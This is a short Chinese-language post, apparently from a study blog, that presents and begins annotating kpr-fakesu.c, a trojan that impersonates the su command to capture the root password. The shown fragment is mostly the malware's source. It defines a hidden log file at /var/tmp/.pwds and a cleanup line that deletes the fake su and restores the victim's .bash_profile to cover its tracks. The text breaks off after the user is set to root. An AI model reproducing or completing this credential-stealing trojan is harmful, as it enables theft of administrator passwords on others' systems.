今天学习的时候看到了一个通过劫持su命令获取root密码的例子,我稍稍做一下解释,代码如下:
/*
* kpr-fakesu.c V0.9beta167 ;P
* by koper <koper@linuxmail.org>
*
* /bin/su sends various failure information depending on the OS ver.
* Please modify the source to make it "fit" ;)
*
*/
#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]){
FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];
sprintf(filex,"/var/tmp/.pwds"); //保存命令 存储密码的文件位置
sprintf(clean,"rm -rf /var/tmp/.su;mv -f /home/whyx/.wgetrc /home/whyx/.bash_profile");
// 修改 /home/XXX 为用户的目录 还原用户环境变量文件
if(argc==1) user="root";